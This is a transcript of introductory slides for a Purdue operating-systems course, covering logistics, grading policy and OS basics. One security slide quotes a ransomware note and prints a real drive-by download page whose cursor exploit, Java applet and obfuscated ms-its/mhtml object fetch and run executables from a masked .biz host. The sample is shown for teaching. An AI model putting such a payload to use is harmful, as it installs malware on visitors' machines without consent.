CS354: Operating Systems Fall 2014
-
Upload
caldwell-flores -
Category
Documents
-
view
79 -
download
12
description
Transcript of CS354: Operating Systems Fall 2014
1
CS354: Operating SystemsSpring 2016
Dongyan XuDepartment of Computer Science
Purdue University
2
General Information
• Web Page: http://www.cs.purdue.edu/homes/cs354
• Textbook:– Douglas Comer, Operating System Design, The
Xinu Approach (2nd Edition, 2015)• Lab platform:
– Xinu on BeagleBone Black (BBB)– An ARM processor
3
Staff
• Dongyan Xu (8th time teaching CS354)– Ph.D. University of Illinois at Urbana-Champaign– Full Prof. (2013-present), Assoc. Prof. (2007-13),
Assist. Prof. (2001-2007)– Research:
• Virtualization (VMware, Xen, KVM…)• Malware (rootkits, botnets, APTs…) defense• Cloud computing• Binary reverse engineering
• Office hours (WF 2:30pm-3:30pm,LWSN1173)
Staff
• Teaching Assistants– Xiangyu Bu– Sahithya Jagadish
• Office hours to be announced
4
5
On-line Discussion Venue: Piazza• Please join by accessing:
– https://piazza.com/purdue/spring2016/cs354• All announcements will be posted there• Discussion on labs• It is your responsibility to check for official
announcements, clarification of lab specification, and answers to lab-related questions.
• But grades will still be posted on Blackboard Learn– https://mycourses.purdue.edu
6
PSOs• There are no PSO sessions this week• The labs will be explained in PSOs.• Attendance is not mandatory (but encouraged)
7
Grading• Grade breakdown:
– Midterm: 22%– Final: 28%– Projects: 50%– In-class Quizzes: 3% bonus– No written homework
8
Late/Grading Policies
• Check Blackboard Learn for grade posting• Late policy for labs
– No late submission accepted, but you will have 3 non-emergency Bonus Days (penalty-free)
• Projects will be done individually– General discussion allowed– Must be on your own when coding starts
• Don’t copy the one you found online– I checked the code. It’s pretty bad– Will check your submissions against it
9
Re-Grading Policy
• You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading
• Re-grading requests for exams need to be in writing
• After the re-grading period, no re-grading request will be honored.
10
Academic Integrity Policy• Academic integrity: lifeline of education• Your projects, quizzes and exams must be your
own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get
– Zero for the project/quiz/exam at first offense– F grade for the course thereafter
• Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating
11
Lecture Format
• Help you understand important and hard OS concepts, design, and implementation
• Lectures do not cover everything– Not all questions in exams are from lectures– But many (80%?) of them are
• Your responsibility– Attend lectures– Read code, textbook, lecture notes – Labs, quizzes, exams– Periodically check web page– Read/participate in Piazza discussion
12
Course Organization1. OS overview2. Computer architecture overview3. Process scheduling and management4. Process synchronization 5. Memory management6. Interrupt processing7. Device drivers8. File system
Pre-requisite
• CS250 (Computer Architecture)• CS251 (Data Structures)• CS252 (Systems Programming)• CS240 (C Programming)• Or equivalent
13
14
Introduction
• A computer system consists of– Hardware– System programs– Application programs
1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first.
Interfacing with Operating System
16
What is an Operating System (OS)• It is a system program that sits between
hardware and application programs.• The program starts running at boot time.• Who boots up the OS?
– BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed
17
What does an OS do? • “To serve and to protect”• It offers services that are common to all
applications:– Program execution, printing, windowing, file
access, resource allocation• It enables multitasking
– Allows multiple processes running at the same time
• It offers protection/security. – E.g., a user cannot see files of other users.
18
(Lack of) OS Security
• Malware– Botnets– Worms
• Why do they spread so quickly?
– Spyware, keylogger, identity theft, blackmail…
GREETINGS FROM GENERAL ENCRYPTION!
TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS
19
• Upon Clicking a malicious URL– http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html
22 unwanted programs installed without user’s consent!
MS04-013
MS03-011
MS05-002
<html><head><title></title></head><body>
<style>* {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")}</style>
<APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1><PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET><script>
try{document.write('<object data=`ms-its:mhtml:file://C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+'m::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>');}catch(e){} </script>
</body></html>
A Real Incident
20
What does an operating system offer?– Reliability
• Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running.
– Fairness• access to resources has to be fair across users
with the same priority.– Support for multiple users
• It allows running multiple users in the same machine simultaneously.
21
The Operating System Zoo• Mainframe OS• Server OS• Multiprocessor OS• Personal computer OS• Real-time OS• Embedded OS• Smartphone OS• Browser OS• Cloud OS• OS for Oses (hypervisors)
22
Windows 10
Android and iOS
23
24
Android Platformhttp://code.google.com/android/
• The first complete, open, and free mobile platform
Wireless Sensor Nodes
25
Blue Gene/L Supercomputer
26
27
Blue Gene/L OS
28
Summary• Course overview• Policy and requirement• What is OS?
• Coming up next: – Review of computer architecture and program
structure